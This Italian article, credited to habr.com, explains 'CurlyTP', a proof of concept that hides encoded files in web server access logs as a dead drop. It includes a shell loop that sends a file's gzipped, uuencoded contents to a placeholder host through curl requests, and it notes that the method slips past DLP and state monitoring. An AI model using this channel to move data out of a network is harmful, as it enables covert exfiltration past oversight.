Secondo la definizione di Wikipedia, un nascondiglio (dead drop) è uno strumento di cospirazione che serve per scambiare informazioni o oggetti tra persone che utilizzano una posizione segreta. L’idea è che le persone non si incontrano mai, ma scambiano informazioni mantenendo la sicurezza operativa.
Il nascondiglio non deve attirare l'attenzione. Pertanto, nel mondo offline si utilizzano spesso oggetti poco appariscenti: un mattone libero nel muro, un libro di biblioteca o un foro in un albero.
Ci sono molti strumenti per crittografare e anonimizzare su Internet, ma il semplice utilizzo di questi strumenti attira l'attenzione. Inoltre, potrebbero essere bloccati a livello aziendale o governativo. Cosa fare?
Lo sviluppatore Ryan Flowers ha proposto un'opzione interessante — Se ci pensi, cosa fa un server web? Riceve richieste, fornisce file e scrive log. E registra nel log tutte le richieste, anche quelle non corrette.!
Di conseguenza, qualsiasi server web consente di conservare nel log praticamente un messaggio arbitrario. Flowers si è chiesto come utilizzare questa opportunità.
Propone questa opzione:
- Prendiamo un file di testo (messaggio segreto) e calcoliamo l'hash (md5sum).
- Lo codifichiamo (gzip+uuencode).
- Lo registriamo nel log tramite una richiesta deliberatamente non corretta al server.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /+=+/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | shPer leggere il file, è necessario eseguire queste operazioni in ordine inverso: decodificare e decomprimere il file, verificare l'hash (l'hash può essere trasferito in modo sicuro tramite canali aperti).
Gli spazi vengono sostituiti con =+=, affinché l'indirizzo non contenga spazi. Il programma, che l'autore ha chiamato CurlyTP, utilizza la codifica base64, come negli allegati delle email. La richiesta avviene con la parola chiave ?transfer?, in modo che il destinatario possa trovarlo facilmente nei log.
Cosa vediamo nei log in questo caso?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"Come già detto, per ricevere il messaggio segreto è necessario eseguire le operazioni in ordine inverso:
Macchina remota
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 gIl processo è facile da automatizzare. Il md5sum corrisponde e il contenuto del file conferma che tutto è stato decodificato correttamente.
Il metodo è molto semplice. «Il senso di questo esercizio è solo dimostrare che i file possono essere trasmessi tramite piccole richieste web innocenti, e questo funziona su qualsiasi server web con log di testo standard. In sostanza, ogni server web è un nascondiglio!», scrive Flowers.
Certo, il metodo funziona solo se il destinatario ha accesso ai log del server. Ma tale accesso è concesso, ad esempio, da molti provider di hosting.
Come si utilizza?
Ryan Flowers afferma di non essere un esperto di sicurezza informatica e che non compilerà un elenco di possibili utilizzi di CurlyTP. Per lui è solo una prova di concetto che gli strumenti comuni che vediamo ogni giorno possono essere utilizzati in modi non tradizionali.
Infatti, questo metodo ha numerosi vantaggi rispetto ad altri «nascondigli» server come o : non richiede configurazioni particolari sul server o protocolli speciali — e non susciterà sospetti da parte di chi monitora il traffico. È poco probabile che SORM o il sistema DLP scansionino gli URL per file di testo compressi.
Questo è uno dei modi per trasmettere messaggi tramite file di servizio. Si ricorda come in passato alcune aziende avanzate pubblicassero o nel codice delle pagine HTML.

L'idea era che tale «uovo di Pasqua» sarebbe stato visto solo dai web developer, poiché una persona normale non controllerebbe gli header o il codice HTML.
Fonte: habr.com
